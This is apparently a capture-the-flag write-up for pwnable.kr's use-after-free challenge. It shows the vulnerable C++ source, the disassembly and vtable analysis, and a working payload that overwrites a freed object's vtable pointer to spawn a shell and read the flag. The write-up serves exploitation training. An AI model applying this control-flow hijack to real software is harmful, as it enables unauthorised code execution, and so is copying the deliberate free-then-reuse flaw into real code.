UAF - Pwnable.kr
Let’s have a look to the code of uaf.cpp
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
The program displays a simple menu and lets us perform one of the following actions in any order we want: 1 - call the method introduce 2 - allocate argv[1]
bytes and fill them with the data read from the file argv[2]
3 - delete m
and w
If we allocate new data (action number 2) after m
and w
have been deleted (action number 3) then we can probably obtain the data pointed by m
and w
to be overwritten by the content of argv[2]
. If we can overwrite the content of m
and w
we can also arrange that a call to the method introduce (action number 1) would instead call the method give_shell.
In order to do that we need to understand how introduce is called. Let’s have a look to the assembly code for the action number 1:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[0x00400ec4]> pdb @0x400fcd
| 0x00400fcd 488b45c8 mov rax, qword [rbp - m] ; rax = m
| 0x00400fd1 488b00 mov rax, qword [rax] ; rax = *rax
| 0x00400fd4 4883c008 add rax, 8 ; rax += 8
| 0x00400fd8 488b10 mov rdx, qword [rax] ; rdx = *rax
| 0x00400fdb 488b45c8 mov rax, qword [rbp - m] ; rax = m
| 0x00400fdf 4889c7 mov rdi, rax ; rdi = rax
| 0x00400fe2 ffd2 call rdx
| 0x00400fe4 488b45d0 mov rax, qword [rbp - w]
| 0x00400fe8 488b00 mov rax, qword [rax]
| 0x00400feb 4883c008 add rax, 8
| 0x00400fef 488b10 mov rdx, qword [rax]
| 0x00400ff2 488b45d0 mov rax, qword [rbp - w]
| 0x00400ff6 4889c7 mov rdi, rax
| 0x00400ff9 ffd2 call rdx
| ,=< 0x00400ffb e9a9000000 jmp 0x4010a9
The first two lines are used to fill the register rax
with the first eight bytes of the memory pointed by m
, this last points to an instance of the class Man. Then the value of rax
is incremented by eight, passed to rdi
and used by the call instruction: this must be the address of the method introduce. Furthermore the address pointed by m
is passed as an argument to the method introduce trough the register rdi
: this parameter represents the value of the keyword this.
To understand better what’s going on, let’s check out the constructor of the class Man:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[0x00400ec4]> pdf @sym.Man::Man
/ (fcn) sym.Man::Man 83
| ; var int Age @ rbp-0x24
| ; var int Name @ rbp-0x20
| ; var int this @ rbp-0x18
| ; CALL XREF from 0x00400f13 (sym.main)
| 0x00401264 55 push rbp
| 0x00401265 4889e5 mov rbp, rsp
| 0x00401268 53 push rbx
| 0x00401269 4883ec28 sub rsp, 0x28
| 0x0040126d 48897de8 mov qword [rbp - this], rdi
| 0x00401271 488975e0 mov qword [rbp - Name], rsi
| 0x00401275 8955dc mov dword [rbp - Age], edx
| 0x00401278 488b45e8 mov rax, qword [rbp - this] ; rax = this
| 0x0040127c 4889c7 mov rdi, rax ; rdi = rax
| 0x0040127f e88cffffff call sym.Human::Human ; parent's constructor
| 0x00401284 488b45e8 mov rax, qword [rbp - this]
| 0x00401288 48c700701540. mov qword [rax], 0x401570 ; *rax = 0x401570
| 0x0040128f 488b45e8 mov rax, qword [rbp - this]
| 0x00401293 488d5010 lea rdx, [rax + 0x10]
| 0x00401297 488b45e0 mov rax, qword [rbp - Name]
| 0x0040129b 4889c6 mov rsi, rax
| 0x0040129e 4889d7 mov rdi, rdx
| 0x004012a1 e80afbffff call sym.std::string::operator_
| 0x004012a6 488b45e8 mov rax, qword [rbp - this]
| 0x004012aa 8b55dc mov edx, dword [rbp - Age]
| 0x004012ad 895008 mov dword [rax + 8], edx
| 0x004012b0 4883c428 add rsp, 0x28
| 0x004012b4 5b pop rbx
| 0x004012b5 5d pop rbp
\ 0x004012b6 c3 ret
The first value of the object is initialized with 0x401570, this is the address of the vtable for the class Man. Thus a Man instance would look more or less like this:
- 0x00: Address vtable for Man (0x0000000000401570)
- 0x08: Age
- 0x10: &Name (Address a string)
This is the content of the vtable:
1
2
0x00401570 .qword 0x000000000040117a ; sym.Human::give_shell
0x00401578 .qword 0x00000000004012d2 ; sym.Man::introduce
As expected the method introduce is the second in the vtable: this explains the value of rax
being incremented by eight before being passed to rdx
. The first entry in the vtable is the address of the method give_shell, so what about we overwrite the address of the vtable with the address of the vtable decremented by eight? The new address would be 0x401570 - 0x8 = 0x401568 but it needs to be coded using eight bytes in little endian format:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
uaf@ubuntu:~$ python -c 'print "\x68\x15\x40\x00\x00\x00\x00\x00"*1024' > /tmp/payload
uaf@ubuntu:~$ ./uaf 1024 /tmp/payload
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_****_*****_pwning